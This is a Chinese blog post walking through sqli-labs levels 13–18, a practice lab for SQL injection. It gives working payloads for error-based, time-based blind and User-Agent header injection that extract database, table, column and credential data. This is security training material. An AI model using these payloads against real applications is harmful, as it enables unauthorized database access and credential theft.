2021年9月25日 星期六

從sqli-labs學習SQL注入(Less13-Less18)


Less-13

和Less-11相同,拼接方式從單引號改成單引號加括號 
登錄成功後不顯示Your Login name和Your Password,所以不能使用聯合注入了

報錯盲注

爆庫名

uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~security'

延時盲注

爆庫名

uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit
延時了,剩下與之前相同。

Less-14

和Less-13相比,就是拼接方式從單引號加括號改成雙引號

Less-15

和Less-14相同,拼接方式單引號,源碼中註釋掉了 MySQL 的報錯日誌,所以這裡就不可以進行報錯注入了,只能使用布爾盲注或者延時盲注

Less-16

和Less-15相同,拼接方式雙引號加括號 

Less-17

【修改密碼表單】,因為 uname 被 check_input() 裡面的mysql_real_escape_string()過濾了,從源碼得知唯一的注入點是在update語句裡面,passwd使用單引號拼接
使用MySQL的updatexml()去解題,這funtion是extractvaule()的兄弟

報錯盲注

爆庫名

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ &submit=Submit
輸出內容:XPATH syntax error: '~security~'

爆表名

MySQL 5.6實際測試使用以下 updatexml() 是不行的
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ &submit=Submit

改用國光Less-17的解法
uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((select group_concat(table_name) from information_schema.tables where table_schema=database()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
輸出內容:Duplicate entry 'emails,referers,uagents,users1' for key 'group_key'

爆字段

一樣用國光的解法
uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((  select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()  ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
輸出內容:Duplicate entry 'id,username,password1' for key 'group_key'

爆值

國光的解法
uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((  SELECT(SELECT CONCAT(CAST(CONCAT(username,0x3a,password) AS CHAR),0x7e)) FROM users LIMIT 0,1  ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
輸出內容:Duplicate entry 'Dumb:Dumb~1' for key 'group_key'

Less-18

對 uname 和 passwd 都做了 check_input() 過濾了,本題的注入點在insert語句,這裡沒有對 uagent 和 ip_address 過濾,且輸出了mysql 的報錯信息,所以本關支持 報錯注入、布爾盲注和延時盲注。
PHP 裡用來獲取客戶端 IP 的變量
  • $_SERVER['HTTP_CLIENT_IP'] 這個很少使用,不一定服務器都實現了。客戶端可以偽造。
  • $_SERVER['HTTP_X_FORWARDED_FOR'],客戶端可以偽造。
  • $_SERVER['REMOTE_ADDR'],客戶端不能偽造。
所以這裡的 IP 是無法被偽造的,這裡只能通過修改 user-agent 來進行注入

報錯注入

爆庫名

'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
使用burp suite 攔截後對 User-Agent 請求頭注入

這題有一個無用的點就是,uname和passwd必須輸入正確,代表你已經知道正確的用戶名和密碼,才會進入insert語句注入成功

爆表名

sqli-lab tutorial-1-35 customs Writeup 的解法無用,一樣需要用到國光Less-18的解法,對User-Agent 注入
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((  select group_concat(table_name) from information_schema.tables where table_schema=database()  ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
輸出內容:Duplicate entry 'emails,referers,uagents,users1' for key 'group_key'

爆字段

1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((  select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()  ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1

爆值

1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((  SELECT(SELECT CONCAT(CAST(CONCAT(username,0x3a,password) AS CHAR),0x7e)) FROM users LIMIT 0,1  ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1





沒有留言:

張貼留言